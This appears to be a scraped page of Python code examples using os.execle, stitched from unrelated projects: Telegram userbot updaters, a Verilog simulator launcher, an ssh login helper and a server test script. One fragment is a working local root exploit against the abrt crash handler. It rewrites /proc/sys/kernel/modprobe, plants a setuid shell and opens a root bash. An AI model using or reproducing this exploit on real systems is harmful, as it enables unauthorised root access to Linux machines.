            remote.push(refspec="HEAD:refs/heads/master", force=True)
        except GitCommandError as error:
            await ups.edit(f'{txt}\n`Here is the error log:\n{error}`')
            repo.__del__()
            return
        await ups.edit('`Sync Verified Successfully`')
    else:
        try:
            ups_rem.pull(ac_br)
        except GitCommandError:
            repo.git.reset("--hard", "FETCH_HEAD")
        await updateme_requirements()
        await ups.edit('`Bot is restarting... `')
        args = [sys.executable, "-m", "userbot"]
        execle(sys.executable, *args, environ)
        return
예제 #24
0
mem_file = tempfile.mkstemp('.mem')[1]
_run(IHEX2MEM, '-ihex', ihex_file, '-out', mem_file,
               '-mem_size', str(rom_size))

fd, sim_file = tempfile.mkstemp()
os.close(fd)
_run('iverilog', '-DMEM_DEFINED', '-DPMEM_SIZE_CUSTOM', '-DDMEM_SIZE_CUSTOM',
                 '-DNO_TIMEOUT', '-DNO_STIMULUS',
                 '-DPMEM_CUSTOM_SIZE={}'.format(rom_size),
                 '-DPMEM_CUSTOM_AWIDTH={}'.format(_get_awidth(rom_size)),
                 '-DDMEM_CUSTOM_SIZE={}'.format(ram_size),
                 '-DDMEM_CUSTOM_AWIDTH={}'.format(_get_awidth(ram_size)),
                 '-DPMEM_FILE="{}"'.format(mem_file),
                 '-DFILEIO_IN="{}"'.format(fileio_in),
                 '-DFILEIO_OUT="{}"'.format(fileio_out),
                 '-DDUMPFILE="{}"'.format(dumpfile),
                 '-f', COMMANDS, '-o', sim_file)

print('Starting Verilog simulation. Press <Ctrl-C> to get to the Icarus '
      'Verilog CLI, then "finish" to exit.')

print("******************************");
print("* Sancus simulation started  *");
print("* ROM: {}B                *".format(rom_size));
print("* RAM: {}B                *".format(ram_size));
print("******************************");

env = os.environ.copy()
env['IVERILOG_DUMPER'] = dumper
os.execle(sim_file, sim_file, env)
예제 #25
0
async def upstream(ups):
    "بالنسبة لأمر .update ، تحقق مما إذا كان البوت مُحدّثًا ، حدّث إذا كان محددًا"
    await ups.edit("`جاري التحقق من التحديثات ، يرجى الانتظار ....`")
    conf = ups.pattern_match.group(1)
    off_repo = UPSTREAM_REPO_URL
    force_update = False

    try:
        txt = "`عفوًا .. لا يمكن للمحدث المتابعة بسبب"
        txt += "حدثت بعض المشاكل`\n\n**LOGTRACE:**\n"
        repo = Repo()
    except NoSuchPathError as error:
        await ups.edit(f'{txt}\n`الدليل {error} لم يتم العثور`')
        repo.__del__()
        return
    except GitCommandError as error:
        await ups.edit(f'{txt}\n`الفشل المبكر! {error}`')
        repo.__del__()
        return
    except InvalidGitRepositoryError as error:
        if conf != "now":
            await ups.edit(
                f"`لسوء الحظ ، لا يبدو أن الدليل {error} هو مستودع git.\
            \n ولكن يمكننا إصلاح ذلك عن طريق فرض تحديث برنامج المستخدم باستخدام .update now.`"
            )
            return
        repo = Repo.init()
        origin = repo.create_remote('upstream', off_repo)
        origin.fetch()
        force_update = True
        repo.create_head('master', origin.refs.master)
        repo.heads.master.set_tracking_branch(origin.refs.master)
        repo.heads.master.checkout(True)

    ac_br = repo.active_branch.name
    if ac_br != 'master':
        await ups.edit(
            f'** [محدث]: ** `يبدو أنك تستخدم فرعك المخصص ({ac_br}). '
            'في هذه الحالة ، يتعذر على Updater تحديد'
            'أي فرع سيتم دمجه.'
            'يرجى الخروج إلى أي فرع رسمي`')
        repo.__del__()
        return

    try:
        repo.create_remote('upstream', off_repo)
    except BaseException:
        pass

    ups_rem = repo.remote('upstream')
    ups_rem.fetch(ac_br)

    changelog = await gen_chlog(repo, f'HEAD..upstream/{ac_br}')

    if not changelog and not force_update:
        await ups.edit(
            f'\n`Your BOT is`  **up-to-date**  `with`  **{ac_br}**\n')
        repo.__del__()
        return

    if conf != "now" and not force_update:
        changelog_str = f'**New UPDATE available for [{ac_br}]:\n\nCHANGELOG:**\n`{changelog}`'
        if len(changelog_str) > 4096:
            await ups.edit("`التغييرات كبيرة جدًا ، اعرض الملف لرؤيته.`")
            file = open("output.txt", "w+")
            file.write(changelog_str)
            file.close()
            await ups.client.send_file(
                ups.chat_id,
                "output.txt",
                reply_to=ups.id,
            )
            remove("output.txt")
        else:
            await ups.edit(changelog_str)
        await ups.respond('`do \".update now\" to update`')
        return

    if force_update:
        await ups.edit(
            '`فرض المزامنة لأحدث رمز مستقر لبرنامج المستخدم ، يرجى الانتظار ...`'
        )
    else:
        await ups.edit('`جاري تحديث برنامج userbot ، يرجى الانتظار ....`')
    # We're in a Heroku Dyno, handle it's memez.
    if HEROKU_API_KEY is not None:
        import heroku3
        heroku = heroku3.from_key(HEROKU_API_KEY)
        heroku_app = None
        heroku_applications = heroku.apps()
        if not HEROKU_APP_NAME:
            await ups.edit(
                '`يرجى إعداد متغير HEROKU_APP_NAME لتتمكن من تحديث userbot.`')
            repo.__del__()
            return
        for app in heroku_applications:
            if app.name == HEROKU_APP_NAME:
                heroku_app = app
                break
        if heroku_app is None:
            await ups.edit(
                f'{txt} \ n` بيانات اعتماد Heroku غير صالحة لتحديث userbot dyno.`'
            )
            repo.__del__()
            return
        await ups.edit(
            '`جارٍ إنشاء Userbot ، يرجى الانتظار لمدة 5 دقائق فقط حتى يكتمل.`')
        ups_rem.fetch(ac_br)
        repo.git.reset("--hard", "FETCH_HEAD")
        heroku_git_url = heroku_app.git_url.replace(
            "https://", "https://*****:*****@")
        if "heroku" in repo.remotes:
            remote = repo.remote("heroku")
            remote.set_url(heroku_git_url)
        else:
            remote = repo.create_remote("heroku", heroku_git_url)
        try:
            remote.push(refspec="HEAD:refs/heads/master", force=True)
        except GitCommandError as error:
            await ups.edit(f'{txt} \n`إليك سجل الأخطاء: \n {error}`')
            repo.__del__()
            return
        await ups.edit('`تم التحديث بنجاح!\n'
                       'إعادة التشغيل ، يرجى الانتظار ...`')
    else:
        # Classic Updater, pretty straightforward.
        try:
            ups_rem.pull(ac_br)
        except GitCommandError:
            repo.git.reset("--hard", "FETCH_HEAD")
        reqs_upgrade = await update_requirements()
        await ups.edit('`تم التحديث بنجاح!\n'
                       'جاري إعادة التشغيل ... انتظر لحظة!`')
        # Spin a new instance of bot
        args = [sys.executable, "-m", "userbot"]
        execle(sys.executable, *args, environ)
        return
예제 #26
0
    res = check_system()
    envv.update(res)

    return envv



def start_gui():
    """todo"""
    try:
        envdict = check_system_setuptools()

    except Exception, e:
        envdict = os.environ
        print e

    if sys.platform.lower().startswith('win'):
        os.execle(sys.executable, sys.executable, "-c", 
                  '"import sys; from openalea.visualea import visualeagui;sys.argv+='+str(sys.argv)+';visualeagui.main(sys.argv)"',
                  envdict)
    else:
        os.execle(sys.executable, sys.executable, "-c",
                  'import sys; from openalea.visualea import visualeagui;sys.argv+='+str(sys.argv)+';visualeagui.main(sys.argv)',
                  envdict)
        
        
        
if( __name__ == "__main__"):
    start_gui()
    
def fifo(a):
print "reading from fifo.."
open("/var/tmp/haxfifo").read()
print "done"
 
print "writing to fifo.."
open("/var/tmp/haxfifo","w+").write(a)
print "done"
 
if os.fork() == 0: child()
 
print "first cpio..."
fifo(cpio1)
 
os.wait()
time.sleep(1)
 
if os.fork() == 0: child()
print "second cpio..."
fifo(cpio2)
 
os.wait()
time.sleep(1)
 
if fedora:
sym = "/var/tmp/abrt/abrt-hax-coredump"
else:
sym = "/var/spool/abrt/abrt-hax-coredump"
 
try:
os.lstat(sym)
except:
print "could not create symlink"
sys.exit(-1)
 
print "%s created" % sym
 
open("/tmp/abrt-hax","w+").write(elf)
os.chmod("/tmp/abrt-hax",0755)
 
if os.fork() == 0:
resource.setrlimit(resource.RLIMIT_CORE,(resource.RLIM_INFINITY,resource.RLIM_INFINITY,))
print "executing crashing process.."
os.execle("/tmp/abrt-hax","",{})
 
os.wait()
time.sleep(1)
 
if "/tmp/hax" not in open("/proc/sys/kernel/modprobe").read():
print "could not modify /proc/sys/kernel/modprobe"
sys.exit(-1)
 
open("/tmp/hax.sh","w+").write(payload)
os.chmod("/tmp/hax.sh",0755)
 
try:
socket.socket(socket.AF_INET,socket.SOCK_STREAM,132)
except:
pass
 
time.sleep(0.5)
 
try:
os.stat("/tmp/sh")
except:
print "could not create suid"
sys.exit(-1)
 
print "success"
 
os.execl("/tmp/sh","sh","-p","-c",'''echo /sbin/modprobe > /proc/sys/kernel/modprobe;rm -f /tmp/sh;rm -rf /var/cache/abrt-di/hax;python -c "import os;os.setresuid(0,0,0);os.execl('/bin/bash','bash');"''')
예제 #28
0
async def upstream(ups):
    "For .update command, check if the bot is up to date, update if specified"
    await ups.edit('**🔎 Ricerca update in corso...**')
    conf = ups.pattern_match.group(1)
    off_repo = UPSTREAM_REPO_URL
    force_update = False

    try:
        txt = "`Oops.. Updater cannot continue due to "
        txt += "some problems occured`\n\n**LOGTRACE:**\n"
        repo = Repo()
    except NoSuchPathError as error:
        await ups.edit(f'{txt}\n`directory {error} is not found`')
        repo.__del__()
        return
    except GitCommandError as error:
        await ups.edit(f'{txt}\n`Early failure! {error}`')
        repo.__del__()
        return
    except InvalidGitRepositoryError as error:
        if conf != "now":
            await ups.edit(
                f"Unfortunately, the directory {error} does not seem to be a git repository.\
            \nBut we can fix that by force updating the userbot using `.update now.`"
            )
            return
        repo = Repo.init()
        origin = repo.create_remote('upstream', off_repo)
        origin.fetch()
        force_update = True
        repo.create_head('master', origin.refs.master)
        repo.heads.master.set_tracking_branch(origin.refs.master)
        repo.heads.master.checkout(True)

    ac_br = repo.active_branch.name
    if ac_br != 'master':
        await ups.edit(
            f'**[UPDATER]: Sembra che stai utilizzando un ramo custom** ({ac_br}). '
            '**in tal caso, Updater è in grado di identificare**'
            '**quale ramo deve essere unito.**'
            '**Per favore aggiorna a qualsiasi branch ufficiale**')
        repo.__del__()
        return

    try:
        repo.create_remote('upstream', off_repo)
    except BaseException:
        pass

    ups_rem = repo.remote('upstream')
    ups_rem.fetch(ac_br)

    changelog = await gen_chlog(repo, f'HEAD..upstream/{ac_br}')

    if not changelog and not force_update:
        await ups.edit(f'\n`Il tuo UbOT è`  **up-to-date**  **{ac_br}**\n')
        repo.__del__()
        return

    if conf != "now" and not force_update:
        changelog_str = f'**New UPDATE avviabile per [{ac_br}]:\n\nCHANGELOG:**\n`{changelog}`'
        if len(changelog_str) > 4096:
            await ups.edit(
                '**Il changelog delle modifiche è troppo grande,leggi il file.**'
            )
            file = open("output.txt", "w+")
            file.write(changelog_str)
            file.close()
            await ups.client.send_file(
                ups.chat_id,
                "output.txt",
                reply_to=ups.id,
            )
            remove("output.txt")
        else:
            await ups.edit(changelog_str)
        await ups.respond('Premi \"`.update now`\" per aggiornare')
        return

    if force_update:
        await ups.edit(
            '**Forza aggiornamento ubot code stabile, attendere...**')
    else:
        await ups.edit('**🔄 Userbot in aggiornamento attendere...**')
    # We're in a Heroku Dyno, handle it's memez.
    if HEROKU_API_KEY is not None:
        import heroku3
        heroku = heroku3.from_key(HEROKU_API_KEY)
        heroku_app = None
        heroku_applications = heroku.apps()
        if not HEROKU_APP_NAME:
            await ups.edit(
                '**Invalid APP Name. Inserisci il nome del bot nella Var `HEROKU_APP_NAME.**'
            )
            repo.__del__()
            return
        for app in heroku_applications:
            if app.name == HEROKU_APP_NAME:
                heroku_app = app
                break
        if heroku_app is None:
            await ups.edit(
                f'{txt}\n**Credenziali heroku invalide per aggiornare Ubot.**')
            repo.__del__()
            return
        await ups.edit(
            f'**✅ Userbot aggiornato correttamente, riavvio in corso.**\n**⏰ Tempo stimato: 5 minuti**'
        )
        ups_rem.fetch(ac_br)
        repo.git.reset("--hard", "FETCH_HEAD")
        heroku_git_url = heroku_app.git_url.replace(
            "https://", "https://*****:*****@")
        if "heroku" in repo.remotes:
            remote = repo.remote("heroku")
            remote.set_url(heroku_git_url)
        else:
            remote = repo.create_remote("heroku", heroku_git_url)
        try:
            remote.push(refspec="HEAD:refs/heads/master", force=True)
        except GitCommandError as error:
            await ups.edit(f'{txt}\n`Here is the error log:\n{error}`')
            repo.__del__()
            return
        await ups.edit('**Update in corso...**\n'
                       '**Riavvio, attendi 5 secondi e premi `.alive`**')
    else:
        # Classic Updater, pretty straightforward.
        try:
            ups_rem.pull(ac_br)
        except GitCommandError:
            repo.git.reset("--hard", "FETCH_HEAD")
        reqs_upgrade = await update_requirements()
        await ups.edit('**Update in corso...**\n'
                       '**Attendi 5 secondi e premi `.alive`**')
        # Spin a new instance of bot
        args = [sys.executable, "-m", "userbot"]
        execle(sys.executable, *args, environ)
        return
예제 #29
0
 def execute(self, environ, command=None):
     if command is None:
         command = self.config.child.command()
     os.execle('/bin/sh', 'sh', '-c', 'exec ' + command, environ)
예제 #30
0
파일: ssh.py 프로젝트: joe42/ClusterBot
def rlogin(host, user, passwd, timeout=TIMEOUT, init_prompts=INIT_PROMPTS,
           passwds=PASSWDS, errors=ERRORS, continues=CONTINUE):
    """
    Performs a login on the remote host via ssh. Return value is the tuple
    (pid, tty), which contains the pid of the ssh-process and a file descriptor
    which represents a pseudo terminal controlling the remote shell.

    Internals: To make working with the tty more sane, rlogin changes the shell
    prompt and the LANG environment variable.

    host -- hostname or IP adress
    user -- login name
    passwd -- password
    timeout -- timeout applied when trying to read one(!) character
    init_prompts -- list of shell prompts which are expected at the end of
                    the login procedure
    passwds -- list of password prompts which are expected 
    errors -- list of error messages which are expected 
    continues -- list of \"Are you sure want to continue\" prompts which are
                 expected 
    """

    [pid, tty] = pty.fork();
    if pid == 0:
        ssh_environ = copy.copy(os.environ);
        ssh_environ["LANG"] = LANG;
        os.execle("/usr/bin/ssh", "ssh", user + "@" + host, ssh_environ);

    else:
        #Wait for password prompt, error message or shell prompt
        output = expect(tty, passwds + errors + continues + init_prompts,
                        timeout=timeout);

        for err in errors:
            if output.find(err) >= 0:
                #An error occured:
                raise ConnectError(err, host);

        for cont in continues:
            if output.find(cont) >= 0:
                #Always accept unknown RSAs:
                os.write(tty, "yes" + os.linesep);
                output = expect(tty, passwds + errors + init_prompts,
                                timeout=timeout);

        for pwdprompt in passwds:
            if output.find(pwdprompt) >= 0:
                #provide password:
                os.write(tty, passwd + os.linesep);

                #Wait for shell prompt or second password prompt:
                output = expect(tty, passwds + init_prompts, timeout=timeout);

                for pwdprompt in passwds:
                    if output.find(pwdprompt) >= 0:
                        #Authentication went wrong if we get a second
                        #password prompt:
                        raise UIDError("User authentication failed", user);

                break;

        #Now we are logged in, customize the session:
        find_prompt(tty, timeout, init_prompts);
        _set_env(tty, timeout, PROMPT, init_prompts);
        return (pid, tty);
예제 #31
0
	def on_pbShowSVG_released(self): 
		of_file = self.txtSVGname.text() 
		print "file to show", of_file
		if os.fork(): 
			os.execle('/peasd/geolog/apps/cnvCGM/showSVG.bash', of_file, of_file, os.environ) 
예제 #32
0
파일: commands.py 프로젝트: jemfinch/finitd
 def execute(self, environ, command=None):
     if command is None:
         command = self.config.child.command()
     os.execle('/bin/sh', 'sh', '-c', 'exec ' + command, environ)
예제 #33
0
async def restart(_, m: Message):
    mx = await m.reply("`restarting bot...`")
    args = [sys.executable, "main.py"]
    await mx.edit("✅ Restarted")
    execle(sys.executable, *args, environ)
    return
예제 #34
0
async def upstream(ups):
    ".update əmri ilə botunun yeni versiyada olub olmadığını yoxlaya bilərsiz."
    await ups.edit(LANG['DETECTING'])
    conf = ups.pattern_match.group(1)
    off_repo = UPSTREAM_REPO_URL
    force_update = False

    try:
        txt = "`Update (yenilənmə) alınmadı! Bəzi problemlərlə qarşılaşdıq. (Pis olma həyat qısa dəyməz bota) `\n\n**LOG:**\n"
        repo = Repo()
    except NoSuchPathError as error:
        await ups.edit(f'{txt}\n`{error} {LANG["NOT_FOUND"]}.`')
        repo.__del__()
        return
    except GitCommandError as error:
        await ups.edit(f'{txt}\n`{LANG["GIT_ERROR"]} {error}`')
        repo.__del__()
        return
    except InvalidGitRepositoryError as error:
        if conf != "now":
            await ups.edit(f"`{error} {LANG['NOT_GIT']}`")
            return
        repo = Repo.init()
        origin = repo.create_remote('upstream', off_repo)
        origin.fetch()
        force_update = True
        repo.create_head('master', origin.refs.seden)
        repo.heads.seden.set_tracking_branch(origin.refs.sql)
        repo.heads.seden.checkout(True)

    ac_br = repo.active_branch.name
    if ac_br != 'master':
        await ups.edit(LANG['INVALID_BRANCH'])
        repo.__del__()
        return

    try:
        repo.create_remote('upstream', off_repo)
    except BaseException:
        pass

    ups_rem = repo.remote('upstream')
    ups_rem.fetch(ac_br)

    changelog = await gen_chlog(repo, f'HEAD..upstream/{ac_br}')

    if not changelog and not force_update:
        await ups.edit(LANG['UPDATE'].format(ac_br))
        repo.__del__()
        return

    if conf != "now" and not force_update:
        changelog_str = LANG['WAS_UPDATE'].format(ac_br, changelog)
        if len(changelog_str) > 4096:
            await ups.edit(LANG['BIG'])
            file = open("degisiklikler.txt", "w+")
            file.write(changelog_str)
            file.close()
            await ups.client.send_file(
                ups.chat_id,
                "degisiklikler.txt",
                reply_to=ups.id,
            )
            remove("değisiklikler.txt")
        else:
            await ups.edit(changelog_str)
        await ups.respond(LANG['DO_UPDATE'])
        return

    if force_update:
        await ups.edit(LANG['FORCE_UPDATE'])
    else:
        await ups.edit(LANG['UPDATING'])

    if HEROKU_APIKEY is not None:
        import heroku3
        heroku = heroku3.from_key(HEROKU_APIKEY)
        heroku_app = None
        heroku_applications = heroku.apps()
        if not HEROKU_APPNAME:
            await ups.edit(LANG['INVALID_APPNAME'])
            repo.__del__()
            return
        for app in heroku_applications:
            if app.name == HEROKU_APPNAME:
                heroku_app = app
                break
        if heroku_app is None:
            await ups.edit(LANG['INVALID_HEROKU'].format(txt))
            repo.__del__()
            return
        await ups.edit(LANG['HEROKU_UPDATING'])
        ups_rem.fetch(ac_br)
        repo.git.reset("--hard", "FETCH_HEAD")
        heroku_git_url = heroku_app.git_url.replace(
            "https://", "https://*****:*****@")
        if "heroku" in repo.remotes:
            remote = repo.remote("heroku")
            remote.set_url(heroku_git_url)
        else:
            remote = repo.create_remote("heroku", heroku_git_url)
        try:
            remote.push(refspec="HEAD:refs/heads/master", force=True)
        except GitCommandError as error:
            await ups.edit(f'{txt}\n`{LANG["ERRORS"]}:\n{error}`')
            repo.__del__()
            return
        await ups.edit(LANG['SUCCESSFULLY'])
    else:
        # Klasik güncelleyici, oldukça basit.
        try:
            ups_rem.pull(ac_br)
        except GitCommandError:
            repo.git.reset("--hard", "FETCH_HEAD")
        await update_requirements()
        await ups.edit(LANG['SUCCESSFULLY'])
        # Bot için Heroku üzerinde yeni bir instance oluşturalım.
        args = [sys.executable, "main.py"]
        execle(sys.executable, *args, environ)
        return
예제 #35
0
        elif strace:
            if sys.platform.startswith('darwin') or \
               sys.platform.startswith('sunos'):
                dtruss_path = look_for_exec_in_path ("dtruss")
                os.execl (dtruss_path, "dtruss", server, "-C", cfg_file)
            else:
                strace_path = look_for_exec_in_path ("strace")
                os.execl (strace_path, "strace", server, "-C", cfg_file)
        else:
            name = server[server.rfind('/') + 1:]

            env = os.environ
            if 'CHEROKEE_PANIC_OUTPUT' not in env:
                env['CHEROKEE_PANIC_OUTPUT'] = 'stdout'

            os.execle (server, name, "-C", cfg_file, env)
    else:
        print("Server")
        print_key ('PID', str(pid));
        print_key ('Path',   CHEROKEE_PATH)
        print_key ('Mods',   CHEROKEE_MODS)
        print_key ('Deps',   CHEROKEE_DEPS)
        print_key ('Panic',  CHEROKEE_PANIC)
        print_key ('Themes', CHEROKEE_THEMES)
        if proxy_cfg_file:
            print_key ('Proxy conf', proxy_cfg_file)
        print()

        if memproc:
            cmd = 'xterm -e "             \
            ( while :; do                 \
예제 #36
0
async def upstream(ups):
    "For .update command, check if the bot is up to date, update if specified"
    conf = ups.pattern_match.group(1)
    await ups.edit("Checking for updates, please wait....")
    off_repo = UPSTREAM_REPO_URL
    force_update = False
    try:
        txt = "Oops.. Updater cannot continue due to "
        txt += "some problems occured\n\n**LOGTRACE:**\n"
        repo = Repo()
    except NoSuchPathError as error:
        await ups.edit(f"{txt}\ndirectory {error} is not found")
        repo.__del__()
        return
    except GitCommandError as error:
        await ups.edit(f"{txt}\nEarly failure! {error}")
        repo.__del__()
        return
    except InvalidGitRepositoryError:
        if conf != "now":
            await ups.edit(
                f"𝗕𝗢𝗦𝗦!!!😉😉\nTo get the Latest update of Megastar userbot type .update now 😏😏 "
            )
            return
        repo = Repo.init()
        origin = repo.create_remote("upstream", off_repo)
        origin.fetch()
        force_update = True
        repo.create_head("master", origin.refs.master)
        repo.heads.master.set_tracking_branch(origin.refs.master)
        repo.heads.master.checkout(True)
    ac_br = repo.active_branch.name
    if ac_br != "master":
        await ups.edit(
            f"**[UPDATER]:** Looks like you are using your own custom branch ({ac_br}). "
            "in that case, Updater is unable to identify "
            "which branch is to be merged. "
            "please checkout to any official branch")
        repo.__del__()
        return
    try:
        repo.create_remote("upstream", off_repo)
    except BaseException:
        pass
    ups_rem = repo.remote("upstream")
    ups_rem.fetch(ac_br)
    changelog = await gen_chlog(repo, f"HEAD..upstream/{ac_br}")
    if not changelog and not force_update:
        await ups.edit(
            f"\n**{ac_br} please redeploy me I have some internal problems i guess**\n"
        )
        repo.__del__()
        return
    if conf != "now" and not force_update:
        changelog_str = (
            f"**New UPDATE available for [{ac_br}]:\n\nCHANGELOG:**\n{changelog}"
        )
        if len(changelog_str) > 4096:
            await ups.edit("Changelog is too big, view the file to see it.")
            file = open("output.txt", "w+")
            file.write(changelog_str)
            file.close()
            await ups.client.send_file(
                ups.chat_id,
                "output.txt",
                reply_to=ups.id,
            )
            remove("output.txt")
        else:
            await ups.edit(changelog_str)
        await ups.respond("do .update now to update")
        return
    if conf == "now":
        await ups.edit("**Just wait for a minute....**")
        await update(ups, repo, ups_rem, ac_br)
    return
    if force_update:
        await ups.edit(
            "༒**Megastar is being updated now**༒..\n**please wait Boss just wait for some minutes... Ill be up in time** 😉 "
        )
    else:
        await ups.edit(
            "Updating userbot, please wait....you are my best boss ever 🤩🥳")
    if HEROKU_API_KEY is not None:
        import heroku3

        heroku = heroku3.from_key(HEROKU_API_KEY)
        heroku_app = None
        heroku_applications = heroku.apps()
        if not HEROKU_APP_NAME:
            await ups.edit(
                "Please set up the HEROKU_APP_NAME variable to be able to update userbot."
            )
            repo.__del__()
            return
        for app in heroku_applications:
            if app.name == HEROKU_APP_NAME:
                heroku_app = app
                break
        if heroku_app is None:
            await ups.edit(
                f"{txt}\nInvalid Heroku credentials for updating userbot dyno."
            )
            repo.__del__()
            return
        ups_rem.fetch(ac_br)
        repo.git.reset("--hard", "FETCH_HEAD")
        heroku_git_url = heroku_app.git_url.replace(
            "https://", "https://*****:*****@")
        if "heroku" in repo.remotes:
            remote = repo.remote("heroku")
            remote.set_url(heroku_git_url)
        else:
            remote = repo.create_remote("heroku", heroku_git_url)
            await ups.edit("⬛⬛⬛⬛ \n⬛✳️✳️⬛ \n⬛✳️✳️⬛ \n⬛⬛⬛⬛")
            await asyncio.sleep(1)
            await ups.edit("⬛⬛⬛⬛ \n⬛🔴🔴⬛ \n⬛🔴🔴⬛ \n⬛⬛⬛⬛")
            await asyncio.sleep(1)
            await ups.edit("⬛⬛⬛⬛ \n⬛🌕🌕⬛ \n⬛🌕🌕⬛ \n⬛⬛⬛⬛")
            await asyncio.sleep(1)
            await ups.edit("⬛⬛⬛⬛ \n⬛🔵🔵⬛ \n⬛🔵🔵⬛ \n⬛⬛⬛⬛")
            await asyncio.sleep(1)
            await ups.edit("⬛⬛⬛⬛ \n⬛❇️❇️⬛ \n⬛❇️❇️⬛ \n⬛⬛⬛⬛")
            await asyncio.sleep(1)
        await ups.edit(
            "**༒𝚄𝙿𝙳𝙰𝚃𝙸𝙽𝙶 𝙼𝙴𝙶𝙰𝚂𝚃𝙰𝚁 𝚄𝚂𝙴𝚁𝙱𝙾𝚃༒\nBoss!!Please wait 5 minutes 😁😁\nThen try**  .alive **to check if I'm tuned.. 😎😎\n\nPowered by :-\n[MEGASTAR UB](https://t.me/MEGASTAR_SUPPORT)**"
        )
        remote.push(refspec="HEAD:refs/heads/master", force=True)
    else:
        try:
            ups_rem.pull(ac_br)
        except GitCommandError:
            repo.git.reset("--hard", "FETCH_HEAD")
        await update_requirements()
        await ups.edit("Successfully Updated!\n"
                       "Bot is restarting... Wait for a second!")
        # Spin a new instance of bot
        args = [sys.executable, "-m", "userbot"]
        execle(sys.executable, *args, environ)
        return
예제 #37
0
async def upstream(ups):
    ".update komutu ile botunun güncel olup olmadığını denetleyebilirsin."
    await ups.edit("`Güncellemeler denetleniyor...`")
    conf = ups.pattern_match.group(1)
    off_repo = UPSTREAM_REPO_URL
    force_update = False

    try:
        txt = "`Güncelleme başarısız oldu!"
        txt += "Bazı sorunlarla karşılaştık.`\n\n**LOG:**\n"
        repo = Repo()
    except NoSuchPathError as error:
        await ups.edit(f'{txt}\n`{error} klasörü bulunamadı.`')
        repo.__del__()
        return
    except GitCommandError as error:
        await ups.edit(f'{txt}\n`Git hatası! {error}`')
        repo.__del__()
        return
    except InvalidGitRepositoryError as error:
        if conf != "now":
            await ups.edit(
                f"`{error} klasörü bir git reposu gibi görünmüyor.\
            \nFakat bu sorunu .update now komutuyla botu zorla güncelleyerek çözebilirsin.`"
            )
            return
        repo = Repo.init()
        origin = repo.create_remote('upstream', off_repo)
        origin.fetch()
        force_update = True
        repo.create_head('seden', origin.refs.seden)
        repo.heads.seden.set_tracking_branch(origin.refs.sql)
        repo.heads.seden.checkout(True)

    ac_br = repo.active_branch.name
    if ac_br != 'seden':
        await ups.edit(
            f'**[Güncelleyici]:**` Galiba seden botunu modifiye ettin ve kendi branşını kullanıyorsun: ({ac_br}). '
            'Bu durum güncelleyicinin kafasını karıştırıyor,'
            'Güncelleme nereden çekilecek?'
            'Lütfen seden botunu resmi repodan kullan.`')
        repo.__del__()
        return

    try:
        repo.create_remote('upstream', off_repo)
    except BaseException:
        pass

    ups_rem = repo.remote('upstream')
    ups_rem.fetch(ac_br)

    changelog = await gen_chlog(repo, f'HEAD..upstream/{ac_br}')

    if not changelog and not force_update:
        await ups.edit(
            f'\n`Botun` **tamamen güncel!** `Branch:` **{ac_br}**\n')
        repo.__del__()
        return

    if conf != "now" and not force_update:
        changelog_str = f'**{ac_br} için yeni güncelleme mevcut!\n\nDeğişiklikler:**\n`{changelog}`'
        if len(changelog_str) > 4096:
            await ups.edit("`Değişiklik listesi çok büyük, dosya olarak görüntülemelisin.`")
            file = open("degisiklikler.txt", "w+")
            file.write(changelog_str)
            file.close()
            await ups.client.send_file(
                ups.chat_id,
                "degisiklikler.txt",
                reply_to=ups.id,
            )
            remove("degisiklikler.txt")
        else:
            await ups.edit(changelog_str)
        await ups.respond('`Güncellemeyi yapmak için \".update now\" komutunu kullan.`')
        return

    if force_update:
        await ups.edit(
            '`Güncel stabil userbot kodu zorla eşitleniyor...`')
    else:
        await ups.edit('`Bot güncelleştiriliyor...`')
    # Bot bir Heroku dynosunda çalışıyor, bu da bazı sıkıntıları beraberinde getiriyor.
    if HEROKU_APIKEY is not None:
        import heroku3
        heroku = heroku3.from_key(HEROKU_APIKEY)
        heroku_app = None
        heroku_applications = heroku.apps()
        if not HEROKU_APPNAME:
            await ups.edit(
                '`[HEROKU MEMEZ] Güncelleyiciyi kullanabilmek için HEROKU_APPNAME değişkenini tanımlamalısın.`'
            )
            repo.__del__()
            return
        for app in heroku_applications:
            if app.name == HEROKU_APPNAME:
                heroku_app = app
                break
        if heroku_app is None:
            await ups.edit(
                f'{txt}\n`Heroku değişkenleri yanlış veya eksik tanımlanmış.`'
            )
            repo.__del__()
            return
        await ups.edit('`[HEROKU MEMEZ]\
                        \nUserBot Heroku dynosuna aktarılıyor, lütfen bekle...`'
                       )
        ups_rem.fetch(ac_br)
        repo.git.reset("--hard", "FETCH_HEAD")
        heroku_git_url = heroku_app.git_url.replace(
            "https://", "https://*****:*****@")
        if "heroku" in repo.remotes:
            remote = repo.remote("heroku")
            remote.set_url(heroku_git_url)
        else:
            remote = repo.create_remote("heroku", heroku_git_url)
        try:
            remote.push(refspec="HEAD:refs/heads/seden", force=True)
        except GitCommandError as error:
            await ups.edit(f'{txt}\n`Karşılaşılan hatalar burada:\n{error}`')
            repo.__del__()
            return
        await ups.edit('`Güncelleme başarıyla tamamlandı!\n'
                       'Yeniden başlatılıyor...`')
    else:
        # Klasik güncelleyici, oldukça basit.
        try:
            ups_rem.pull(ac_br)
        except GitCommandError:
            repo.git.reset("--hard", "FETCH_HEAD")
        await update_requirements()
        await ups.edit('`Güncelleme başarıyla tamamlandı!\n'
                       'Yeniden başlatılıyor...`')
        # Bot için Heroku üzerinde yeni bir instance oluşturalım.
        args = [sys.executable, "-m", "userbot"]
        execle(sys.executable, *args, environ)
        return
예제 #38
0
cwddirs = os.getcwd().split('/')
root_found = False

if xsbs_root_path == '':
	for dir in cwddirs:
		if dir.find('xsbs') > -1:
			root_found = True
		xsbs_root_path += dir + '/'
else:
	root_found = True

if not root_found:
	print 'Error: Could not find XSBS root in your current path.'
	print 'Please cd into the XSBS source directory and re-run this script.'
	sys.exit(1)

if pyscripts_path == '':
	pyscripts_path = xsbs_root_path + 'src/pyscripts'
if not os.path.isdir(pyscripts_path):
	print 'Error: Could not find pyscripts folder in your XSBS directory.'
	print 'Did you perform an out of source build?  Make sure you are in the XSBS source directory.'
	sys.exit(1)

if xsbs_bin_path == '':
	xsbs_bin_path = xsbs_root_path + 'src/xsbs'
if not os.path.isfile(xsbs_bin_path):
	os.execlpe('xsbs', 'xsbs', '-lsauer.log', '-s'+pyscripts_path, os.environ)
else:
	os.execle(xsbs_bin_path, 'xsbs' '-lsauer.log', '-s'+pyscripts_path, os.environ)

예제 #39
0
def cli(ctx,
        state,
        where=False,
        venv=False,
        py=False,
        envs=False,
        rm=False,
        bare=False,
        completion=False,
        man=False,
        support=None,
        help=False,
        site_packages=None,
        **kwargs):
    # Handle this ASAP to make shell startup fast.
